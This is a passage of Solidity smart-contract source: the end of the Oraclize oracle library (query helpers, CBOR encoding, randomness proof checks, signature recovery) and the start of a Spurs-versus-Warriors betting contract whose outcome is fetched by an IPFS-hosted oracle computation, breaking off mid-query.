oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_setConfig(bytes32 config) oraclizeAPI internal { return oraclize.setConfig(config); } function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){ return oraclize.randomDS_getSessionPubKeyHash(); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string _a, string _b, string _c) internal returns (string) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string _a, string _b) internal returns (string) { return strConcat(_a, _b, "", "", ""); } // parseInt function parseInt(string _a) internal returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i<bresult.length; i++){ if ((bresult[i] >= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal returns (string){ if (i == 0) return "0"; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } function stra2cbor(string[] arr) internal returns (bytes) { uint arrlen = arr.length; // get correct cbor output length uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { // if there's a bug with larger strings, this may be the culprit if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } function ba2cbor(bytes[] arr) internal returns (bytes) { uint arrlen = arr.length; // get correct cbor output length uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { // if there's a bug with larger strings, this may be the culprit if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } string oraclize_network_name; function oraclize_setNetworkName(string _network_name) internal { oraclize_network_name = _network_name; } function oraclize_getNetworkName() internal returns (string) { return oraclize_network_name; } function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){ if ((_nbytes == 0)||(_nbytes > 32)) throw; bytes memory nbytes = new bytes(1); nbytes[0] = byte(_nbytes); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); assembly { mstore(unonce, 0x20) mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) } bytes[3] memory args = [unonce, nbytes, sessionKeyHash]; bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit); oraclize_randomDS_setCommitment(queryId, sha3(bytes8(_delay), args[1], sha256(args[0]), args[2])); return queryId; } function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal { oraclize_randomDS_args[queryId] = commitment; } mapping(bytes32=>bytes32) oraclize_randomDS_args; mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified; function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){ bool sigok; address signer; bytes32 sigr; bytes32 sigs; bytes memory sigr_ = new bytes(32); uint offset = 4+(uint(dersig[3]) - 0x20); sigr_ = copyBytes(dersig, offset, 32, sigr_, 0); bytes memory sigs_ = new bytes(32); offset += 32 + 2; sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0); assembly { sigr := mload(add(sigr_, 32)) sigs := mload(add(sigs_, 32)) } (sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs); if (address(sha3(pubkey)) == signer) return true; else { (sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs); return (address(sha3(pubkey)) == signer); } } function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) { bool sigok; // Step 6: verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH) bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2); copyBytes(proof, sig2offset, sig2.length, sig2, 0); bytes memory appkey1_pubkey = new bytes(64); copyBytes(proof, 3+1, 64, appkey1_pubkey, 0); bytes memory tosign2 = new bytes(1+65+32); tosign2[0] = 1; //role copyBytes(proof, sig2offset-65, 65, tosign2, 1); bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c"; copyBytes(CODEHASH, 0, 32, tosign2, 1+65); sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); if (sigok == false) return false; // Step 7: verify the APPKEY1 provenance (must be signed by Ledger) bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4"; bytes memory tosign3 = new bytes(1+65); tosign3[0] = 0xFE; copyBytes(proof, 3, 65, tosign3, 1); bytes memory sig3 = new bytes(uint(proof[3+65+1])+2); copyBytes(proof, 3+65, sig3.length, sig3, 0); sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); return sigok; } modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) { // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) throw; _; } function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){ // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) return 2; return 0; } function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal returns (bool){ bool match_ = true; for (uint256 i=0; i< n_random_bytes; i++) { if (content[i] != prefix[i]) match_ = false; } return match_; } function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){ // Step 2: the unique keyhash has to match with the sha256 of (context name + queryId) uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32; bytes memory keyhash = new bytes(32); copyBytes(proof, ledgerProofLength, 32, keyhash, 0); if (!(sha3(keyhash) == sha3(sha256(context_name, queryId)))) return false; bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2); copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0); // Step 3: we assume sig1 is valid (it will be verified during step 5) and we verify if 'result' is the prefix of sha256(sig1) if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false; // Step 4: commitment match verification, sha3(delay, nbytes, unonce, sessionKeyHash) == commitment in storage. // This is to verify that the computed args match with the ones specified in the query. bytes memory commitmentSlice1 = new bytes(8+1+32); copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0); bytes memory sessionPubkey = new bytes(64); uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65; copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0); bytes32 sessionPubkeyHash = sha256(sessionPubkey); if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){ //unonce, nbytes and sessionKeyHash match delete oraclize_randomDS_args[queryId]; } else return false; // Step 5: validity verification for sig1 (keyhash and args signed with the sessionKey) bytes memory tosign1 = new bytes(32+8+1+32); copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0); if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false; // verify if sessionPubkeyHash was verified already, if not.. let's do it! if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){ oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset); } return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) { uint minLength = length + toOffset; if (to.length < minLength) { // Buffer too small throw; // Should be a better way? } // NOTE: the offset 32 is added to skip the `size` field of both bytes variables uint i = 32 + fromOffset; uint j = 32 + toOffset; while (i < (32 + fromOffset + length)) { assembly { let tmp := mload(add(from, i)) mstore(add(to, j), tmp) } i += 32; j += 32; } return to; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license // Duplicate Solidity's ecrecover, but catching the CALL return value function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { // We do our own memory management here. Solidity uses memory offset // 0x40 to store the current end of memory. We write past it (as // writes are memory extensions), but don't update the offset so // Solidity will reuse it. The memory used here is only needed for // this context. // FIXME: inline assembly can't access return values bool ret; address addr; assembly { let size := mload(0x40) mstore(size, hash) mstore(add(size, 32), v) mstore(add(size, 64), r) mstore(add(size, 96), s) // NOTE: we can reuse the request memory because we deal with // the return code ret := call(3000, 1, 0, size, 128, size, 32) addr := mload(size) } return (ret, addr); } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return (false, 0); // The signature format is a compact form of: // {bytes32 r}{bytes32 s}{uint8 v} // Compact means, uint8 is not padded to 32 bytes. assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) // Here we are loading the last 32 bytes. We exploit the fact that // 'mload' will pad with zeroes if we overread. // There is no 'mload8' to do this, but that would be nicer. v := byte(0, mload(add(sig, 96))) // Alternative solution: // 'byte' is not working due to the Solidity parser, so lets // use the second best option, 'and' // v := and(mload(add(sig, 65)), 255) } // albeit non-transactional signatures are not specified by the YP, one would expect it // to match the YP range of [27, 28] // // geth uses [0, 1] and some clients have followed. This might change, see: // https://github.com/ethereum/go-ethereum/issues/2053 if (v < 27) v += 27; if (v != 27 && v != 28) return (false, 0); return safer_ecrecover(hash, v, r, s); } } // </ORACLIZE_API> contract SpursvsWarriors419 is usingOraclize { /* Declaration */ address public OWNERS = 0xC3eD2d481B9d75835EC04174b019A7eAF2Faf78A; uint public constant COMMISSION = 0; // Commission for the owner uint public constant MIN_BET = 0.01 ether; uint public EXPECTED_START = 1524187800; // When the bet's event is expected to start uint public EXPECTED_END = 1524196800; // When the bet's event is expected to end uint public constant BETTING_OPENS = 1524037988; uint public BETTING_CLOSES = EXPECTED_START - 60; // Betting closes a minute before the bet event starts uint public constant PING_ORACLE_INTERVAL = 60 * 60 * 24; // Ping oracle every 24 hours until completion (or cancelation) uint public ORACLIZE_GAS = 200000; uint public CANCELATION_DATE = EXPECTED_END + 60 * 60 * 24; // Cancelation date is 24 hours after the expected end uint public RETURN_DATE = EXPECTED_END + 60 * 60 * 24 * 30; // Any leftover money is returned to owners 1 month after bet ends bool public completed; bool public canceled; bool public ownersPayed; uint public ownerPayout; bool public returnedToOwners; uint public winnerDeterminedDate; uint public numCollected = 0; bytes32 public nextScheduledQuery; uint public oraclizeFees; uint public collectionFees; struct Better { uint betAmount; uint betOption; bool withdrawn; } mapping(address => Better) betterInfo; address[] public betters; uint[2] public totalAmountsBet; uint[2] public numberOfBets; uint public totalBetAmount; uint public winningOption = 2; /* Events */ event BetMade(); /* Modifiers */ // Modifier to only allow the // determination of the winner modifier canDetermineWinner() { require (winningOption == 2 && !completed && !canceled && now > BETTING_CLOSES && now >= EXPECTED_END); _; } // Modifier to only allow emptying // the remaining value of the contract // to owners. modifier canEmptyRemainings() { require(canceled || completed); uint numRequiredToCollect = canceled ? (numberOfBets[0] + numberOfBets[1]) : numberOfBets[winningOption]; require ((now >= RETURN_DATE && !canceled) || (numCollected == numRequiredToCollect)); _; } // Modifier to only allow the collection // of bet payouts when winner is determined, // (or withdrawals if the bet is canceled) modifier collectionsEnabled() { require (canceled || (winningOption != 2 && completed && now > BETTING_CLOSES)); _; } // Modifier to only allow the execution of // owner payout when winner is determined modifier canPayOwners() { require (!canceled && winningOption != 2 && completed && !ownersPayed && now > BETTING_CLOSES); _; } // Modifier to only allow the execution of // certain functions when betting is closed modifier bettingIsClosed() { require (now >= BETTING_CLOSES); _; } // Modifier to only allow the execution of // certain functions restricted to the owners modifier onlyOwnerLevel() { require( OWNERS == msg.sender ); _; } /* Functions */ // Constructor function SpursvsWarriors419() public payable { oraclize_setCustomGasPrice(1000000000); callOracle(EXPECTED_END, ORACLIZE_GAS); // Kickoff Oracle checking for outcome } function changeGasLimitAndPrice(uint gas, uint price) public onlyOwnerLevel { ORACLIZE_GAS = gas; oraclize_setCustomGasPrice(price); } // Change bet expected times function setExpectedTimes(uint _EXPECTED_START, uint _EXPECTED_END) public onlyOwnerLevel { setExpectedStart(_EXPECTED_START); setExpectedEnd(_EXPECTED_END); } // Change bet expected start time function setExpectedStart(uint _EXPECTED_START) public onlyOwnerLevel { EXPECTED_START = _EXPECTED_START; BETTING_CLOSES = EXPECTED_START - 60; } // Change bet expected end time function setExpectedEnd(uint _EXPECTED_END) payable public onlyOwnerLevel { require(_EXPECTED_END > EXPECTED_START); EXPECTED_END = _EXPECTED_END; CANCELATION_DATE = EXPECTED_END + 60 * 60 * 24; RETURN_DATE = EXPECTED_END + 60 * 60 * 24 * 30; callOracle(EXPECTED_END, ORACLIZE_GAS); // Kickoff Oracle checking for winner } function callOracle(uint timeOrDelay, uint gas) private { require(canceled != true && completed != true); // Make a call to the oracle — // usually a script hosted on IPFS that // Oraclize deploys, after a given delay. We // leave nested query as default to maximize // optionality for queries. // To readers of the code (aka prospective betters) // if this is a computation query, you can view the // script we use to compute the winner, as it is hosted // on IPFS. The first argument in the computation query // is the IPFS hash (script would be located at // ipfs.io/ipfs/<HASH>). The file hosted at this hash // is actually a zipped folder that contains a Dockerfile and // the script. So, if you download the file at the hash provided, // ensure to convert it to a .zip, unzip it, and read the code. // Oraclize uses the Dockerfile to deploy this script. // Look over the Oraclize documentation to verify this // for yourself. nextScheduledQuery = makeOraclizeQuery(timeOrDelay, "nested", "[computation] ['Qmc6RsNaPktRju55QhDqmu9VtvGxPnREoDNyk616MATk2F', 'e55f5f86-7ad0-40bc-97bb-fa8289b22b8d', '${[decrypt] 